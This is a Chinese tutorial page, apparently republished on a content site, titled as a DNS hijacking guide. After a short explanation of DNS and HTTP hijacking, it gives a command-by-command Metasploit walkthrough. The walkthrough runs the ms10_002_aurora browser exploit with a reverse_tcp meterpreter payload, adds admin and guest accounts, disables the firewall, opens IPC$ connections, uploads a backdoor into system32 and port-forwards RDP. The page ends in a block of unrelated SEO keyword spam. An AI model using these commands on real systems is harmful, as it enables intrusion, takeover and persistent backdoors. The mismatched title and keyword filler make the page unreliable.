千家信息网

kali之DNS劫持

发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,DNS劫持:用户上网的DNS服务器都是运营商分配的,所以,在这个节点上,运营商可以为所欲为例如:访问一个网站,输入域名,正常DNS服务器返回该域名的IP,而DNS劫持后,会返回一个运营商额中间服务器I
千家信息网最后更新 2024年09月22日kali之DNS劫持

DNS劫持:用户上网的DNS服务器都是运营商分配的,所以,在这个节点上,运营商可以为所欲为
例如:访问一个网站,输入域名,正常DNS服务器返回该域名的IP,而DNS劫持后,会返回一个运营商额中间服务器IP,该访问服务器会一致性的返回302,让用户浏览器跳转到预处理好的带广告的网页,在该网页中再通过iframe打开用户原来访问的地址

HTTP劫持:
在运营商的路由器节点上,设置协议检测,一旦发现是http请求,而且是html类型请求,则拦截处理。后续做法往往分为2种、1种是DNS劫持返回302让用户浏览器跳转到另外的地址,还有1种是在服务器返回的HTML数据中插入js或dom节点广告


保证网络连通性,配置网络地址

第一次使用msfconsole,开启内建的数据库PostgreSQL和metasplote

开启PostgreSQL: service postgresql start
开启metasploit: service metasploit start

root@kali:~ps -e|grep 5432(确保postgresql服务开启,默认占用端口是5432)

root@kali:~# msfconsole

查找10-002漏洞模块 search 10-002

use exploit/windows/browser/ms10_002_aurora 进行漏洞***

set payload windows/meterpreter/reverse_tcp 定义***载荷
set lhost 192.168.48.123 定义本机地址
set URIPATH / 定义url的后缀(这里我只设置了一个/)
exploit 开发

在***主机打开目标网站http://192.168.48.123:8080/

sessions -i 1 打开连接会话

session 查看已经成功获取的会话,使用session -i 连接到指定序号的meterpreter会话已继续利用

通过shell 获取目标主机的远程命令行

通过DOS创建账号与密码

Windows常用命令

1、net localgroup administrators 用户名 密码 /add(将用户加到管理员,使其拥有管理权限)
2、net user guest /active:yes (激活guest用户)
3、net user guest 12345 (修改guest密码为12345)
4、net user (查看账号属性)
5、net start (查看开启了那些服务)
6、net time \\ 目标ip (查看对方时间)
7、net view (查看局域网中开启了那些共享)
8、net share (查看本地开启的那些共享)
9、net share C$/del (删除c盘默认共享)
10、Copy xx.exe\\ip\admin$\System32 (将当前xx.exe复制到对方Admin$共享的System32目录内)
11、sc config tlnesvr start= auto (修改telnet服务的启动方式为自动,auto前面有一个空格)
12、net stop sharedaccess(关闭系统自带的防火墙)
13、net send IP 消息(利用messenger服务向目标IP发送消息)
14、tasklist(查看进程)
15、taskkill (结束进程)ntsd 强制结束进程
16、services.msc 进入本地计算机的服务

17、net use \\ip\ipc$ "" /user (建立空IPC链接)
18、net use \\ip\ipc$ "密码" /user:"用户名"(建立IPC非空连接,非空链接就是需要账户和密码)
19、net use \\ip\ipc$ /del (删除ipc空连接)
20、net use z: \\127.0.0.1\c$ (映射目标主机磁盘c盘到本地磁盘z盘)

远程连接该系统

rdesktop -u administrator -p 123 192.168.48.100:3389

getuid查看meterpreter注入到目标主机的进程所属用户
upload命令上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下
upload setup.exe C:\\windows\\system32\
portfwd 端口转发
例如目标主机上开启了3389,但是只允许特定IP访问,***主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开
例如:portfwd add -l 1122 -p 3389 -r 192.168.48.100
把目标主机192.168.48.100的3389端口转发到1122端口
这是只需要连接目标的1122端口就可以打开远程桌面了
rdesktop -u administrator -p 123456 192.168.48.100:1122
sysinfo查看目标主机系统信息
ps 查看目标主机上运行的进程信息,结合migrate使用

目标 主机 服务 用户 端口 密码 服务器 进程 命令 地址 运营商 运营 系统 节点 信息 域名 对方 广告 数据 浏览器 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 曙光服务器怎么找回密码 怎么理解网络安全技术的专业 速达5000数据库表结构 企业网络安全商品 网络技术高明漱粉 人工智能与网络安全什么关系 数据库中表没有ui值是啥意思 局域网设置自动服务器 服务器未响应是网络原因吗 丁珂中国网络安全 我的世界一个很像hyp的服务器 嘉定区数据软件开发诚信服务 淮安管理类软件开发 嵌入式软件开发需要的技术 网络安全 防病毒系统 软件开发中级工程师工资 网络安全预警分析信息数据库 dell服务器二手怎么样 网络技术服务费用是多少 系统某个功能连接不上数据库 mysql数据库显示在页面 石家庄火箭网络技术有限公司 网络安全的简笔画 宝山区新时代软件开发成本 唐山附近哪有软件开发的 网络安全手抄报简单又好看教程 华为软件开发笔试题 wifi开放网络安全吗 境外公司 网络安全法 计算机网络技术课程目录
0